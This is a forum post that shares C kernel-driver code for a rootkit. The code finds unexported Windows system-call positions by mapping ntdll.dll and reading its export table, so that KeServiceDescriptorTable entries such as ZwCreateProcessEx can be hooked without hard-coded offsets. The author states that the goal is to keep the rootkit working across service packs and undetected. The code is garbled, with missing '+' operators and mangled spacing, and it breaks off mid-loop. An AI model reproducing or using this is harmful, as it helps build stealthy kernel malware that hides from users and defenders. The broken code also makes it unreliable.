Simple hooking of functions not exported by ntoskrnl.exe
By: gareth As many of you will know, hooking functions not exported by ntoskrnl.exe is a real pain, as you need to hard code their position in KeServiceDescriptorTable, and this will change between windows releases.Hardcoding the positions seems a poor solution, since it means after a new service pack, the rootkit may no longer work and become discovered.As I have found the code on this site extremely helpful, I think it is only fair that I return the favour ;-) I have implemented the method described in previous posts, whereby I have mapped a view of ntdll.dll into the process space of whoever loads the driver initially, and then retrieve the required function positions directly from the dll.This was relatively simple to do, and only requires knowledge of the pe file format, and a few undocumented apis.Using the function pasted below, when hooking you simply do as follows: RtlInitUnicodeString (& dllName, L "// Device // HarddiskVolume1 // Windows // System32 // ntdll.dll") FunctionAddress = Getdll FunctionAddress (functionName, & dllName); position = * ((WORD *) (functionAddress 1)); g_OriginalZwCreateProcessEx = (ZWCREATEPROCESSEX) (KeServiceDescriptorTable.ServiceTableBase [position]); and here's the function GetDllFunctionAddress: DWORD GetDllFunctionAddress (char * lpFunctionName, PUNICODE_STRING pDllName) {HANDLE hThread, hSection, hFile, hMod; SECTION_IMAGE_INFORMATION sii; IMAGE_DOS_HEADER * dosheader; IMAGE_OPTIONAL_HEADER * opthdr; IMAGE_EXPORT_DIRECTORY * pExportTable; DWORD * arrayOfFunctionAddresses; DWORD * arrayOfFunctionNames; WORD * arrayOfFunctionOrdinals; DWORD functionOrdinal; DWORD Base, x, functionAddress; char * FunctionName;
STRING ntFunctionName, ntFunctionNameSearch; PVOID BaseAddress = NULL; SIZE_T size = 0; OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE}; IO_STATUS_BLOCK iosb; // _ asm int 3; ZwOpenFile (& hFile, FILE_EXECUTE | SYNCHRONIZE, & oa, & iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); oa.ObjectName = 0; ZwCreateSection (& hSection, SECTION_ALL_ACCESS, & oa, 0, PAGE_EXECUTE, SEC_IMAGE, hFile); ZwMapViewOfSection (hSection, NtCurrentProcess (), & BaseAddress, 0, 1000, 0, & size, (SECTION_INHERIT) 1 , MEM_TOP_DOWN, PAGE_READWRITE); ZwClose (hFile); hMod = BaseAddress; dosheader = (IMAGE_DOS_HEADER *) hMod; opthdr = (IMAGE_OPTIONAL_HEADER *) ((BYTE *) hMod dosheader-> e_lfanew 24); pExportTable = (IMAGE_EXPORT_DIRECTORY *) ((BYTE *) hMod opthdr-> DataDirectory [IMAGE_DIRECTORY_ENTRY_EXPORT] VirtualAddress.); // now we can get the exported functions, but note we convert from RVA to address arrayOfFunctionAddresses = (DWORD *) (( BYTE *) hMod pExportTable-> AddressOfFunctions); arrayOfFunctionNames = (DWORD *) ((BYTE *) hMod pExportTable-> AddressOfNames); arrayOfFunctionOrdinals = (WORD *) ((BYTE *) hMod pExportTable-> AddressOfNameOrdinals); Base = pExportTable-> Base; RtlInitString (& ntFunctionNameSearch, lpFunctionName); for (x = 0; x